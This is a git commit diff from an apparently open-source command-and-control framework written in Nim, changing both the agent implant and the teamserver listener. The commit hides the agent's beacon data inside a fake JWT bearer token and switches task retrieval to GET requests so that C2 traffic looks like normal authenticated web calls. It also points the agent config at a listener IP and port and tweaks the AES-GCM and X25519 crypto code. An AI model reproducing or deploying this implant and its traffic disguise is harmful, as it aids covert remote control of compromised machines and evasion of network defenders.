Updated C2 communication to hide heartbeat data in JWT token.

This commit is contained in:
Jakob Friedl
2025-08-13 13:38:39 +02:00
parent 0e205d34d3
commit b7622dd72f
6 changed files with 27 additions and 27 deletions

View File

@@ -1,4 +1,4 @@
import httpclient, json, strformat, asyncdispatch import httpclient, json, strformat, strutils, asyncdispatch, base64
import ../../common/[types, utils] import ../../common/[types, utils]
@@ -35,16 +35,15 @@ proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
var responseBody = "" var responseBody = ""
# Define HTTP headers # Define HTTP headers
# The heartbeat data is placed within a JWT token as the payload (Base64URL-encoded)
let payload = encode(checkinData, safe = true).replace("=", "")
client.headers = newHttpHeaders({ client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream", "Authorization": fmt"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.{payload}.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
"Content-Length": $checkinData.len
}) })
let body = checkinData.toString()
try: try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/tasks", body) responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/tasks")
return responseBody return responseBody
except CatchableError as err: except CatchableError as err:

View File

@@ -25,7 +25,7 @@ proc main() =
# The agent configuration is read at compile time using define/-d statements in nim.cfg # The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface # This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary # Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay): when not defined(ListenerUuid) or not defined(Octet1) or not defined(Octet2) or not defined(Octet3) or not defined(Octet4) or not defined(ListenerPort) or not defined(SleepDelay) or not defined(ServerPublicKey):
echo "Missing agent configuration." echo "Missing agent configuration."
quit(0) quit(0)

View File

@@ -1,9 +1,9 @@
# Agent configuration # Agent configuration
-d:ListenerUuid="D3AC0FF3" -d:ListenerUuid="D0981BF3"
-d:Octet1="127" -d:Octet1="172"
-d:Octet2="0" -d:Octet2="29"
-d:Octet3="0" -d:Octet3="177"
-d:Octet4="1" -d:Octet4="43"
-d:ListenerPort=9999 -d:ListenerPort=6666
-d:SleepDelay=10 -d:SleepDelay=10
-d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U=" -d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U="

View File

@@ -14,7 +14,7 @@ proc generateIV*(): Iv =
raise newException(CatchableError, "Failed to generate IV.") raise newException(CatchableError, "Failed to generate IV.")
return iv return iv
proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint64): (seq[byte], AuthenticationTag) = proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) =
# Encrypt data using AES-256 GCM # Encrypt data using AES-256 GCM
var encData = newSeq[byte](data.len) var encData = newSeq[byte](data.len)
@@ -29,7 +29,7 @@ proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint64): (seq[b
return (encData, tag) return (encData, tag)
proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64): (seq[byte], AuthenticationTag) = proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) =
# Decrypt data using AES-256 GCM # Decrypt data using AES-256 GCM
var data = newSeq[byte](encData.len) var data = newSeq[byte](encData.len)
@@ -44,7 +44,7 @@ proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64): (se
return (data, tag) return (data, tag)
proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint64, header: Header): seq[byte] = proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32, header: Header): seq[byte] =
let (decData, gmac) = decrypt(key, iv, encData, sequenceNumber) let (decData, gmac) = decrypt(key, iv, encData, sequenceNumber)
@@ -59,7 +59,6 @@ proc validateDecryption*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: u
Private keys and shared secrets are wiped from agent memory as soon as possible Private keys and shared secrets are wiped from agent memory as soon as possible
]# ]#
{.compile: "monocypher/monocypher.c".} {.compile: "monocypher/monocypher.c".}
{.passc: "-Imonocypher".}
# C function imports from (monocypher/monocypher.c) # C function imports from (monocypher/monocypher.c)
proc crypto_x25519*(shared_secret: ptr byte, your_secret_key: ptr byte, their_public_key: ptr byte) {.importc, cdecl.} proc crypto_x25519*(shared_secret: ptr byte, your_secret_key: ptr byte, their_public_key: ptr byte) {.importc, cdecl.}

View File

@@ -31,20 +31,22 @@ proc register*(ctx: Context) {.async.} =
resp "", Http404 resp "", Http404
#[ #[
POST /tasks GET /tasks
Called from agent to check for new tasks Called from agent to check for new tasks
]# ]#
proc getTasks*(ctx: Context) {.async.} = proc getTasks*(ctx: Context) {.async.} =
# Check headers # Check headers
# If POST data is not binary data, return 404 error code # Heartbeat data is hidden base64-encoded within "Authorization: Bearer" header, between a prefix and suffix
if ctx.request.contentType != "application/octet-stream": if not ctx.request.hasHeader("Authorization"):
resp "", Http404 resp "", Http404
return return
let checkinData: seq[byte] = decode(ctx.request.getHeader("Authorization")[0].split(".")[1]).toBytes()
try: try:
var response: seq[byte] var response: seq[byte]
let tasks: seq[seq[byte]] = getTasks(ctx.request.body.toBytes()) let tasks: seq[seq[byte]] = getTasks(checkinData)
if tasks.len <= 0: if tasks.len <= 0:
resp "", Http200 resp "", Http200

View File

@@ -67,7 +67,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
# Define API endpoints # Define API endpoints
listener.post("register", routes.register) listener.post("register", routes.register)
listener.post("tasks", routes.getTasks) listener.get("tasks", routes.getTasks)
listener.post("results", routes.postResults) listener.post("results", routes.postResults)
listener.registerErrorHandler(Http404, routes.error404) listener.registerErrorHandler(Http404, routes.error404)
@@ -80,7 +80,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
try: try:
discard listener.runAsync() discard listener.runAsync()
cq.add(listenerInstance) cq.add(listenerInstance)
cq.writeLine(fgGreen, "[+] ", resetStyle, "Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on port {portStr}.") cq.writeLine(fgGreen, "[+] ", resetStyle, "Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on {host}:{portStr}.")
except CatchableError as err: except CatchableError as err:
cq.writeLine(fgRed, styleBright, "[-] Failed to start listener: ", err.msg) cq.writeLine(fgRed, styleBright, "[-] Failed to start listener: ", err.msg)
@@ -100,14 +100,14 @@ proc restartListeners*(cq: Conquest) =
# Define API endpoints # Define API endpoints
listener.post("register", routes.register) listener.post("register", routes.register)
listener.post("tasks", routes.getTasks) listener.get("tasks", routes.getTasks)
listener.post("results", routes.postResults) listener.post("results", routes.postResults)
listener.registerErrorHandler(Http404, routes.error404) listener.registerErrorHandler(Http404, routes.error404)
try: try:
discard listener.runAsync() discard listener.runAsync()
cq.add(l) cq.add(l)
cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.listenerId} ", resetStyle, fmt"on port {$l.port}.") cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.listenerId} ", resetStyle, fmt"on {l.address}:{$l.port}.")
except CatchableError as err: except CatchableError as err:
cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", err.msg) cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", err.msg)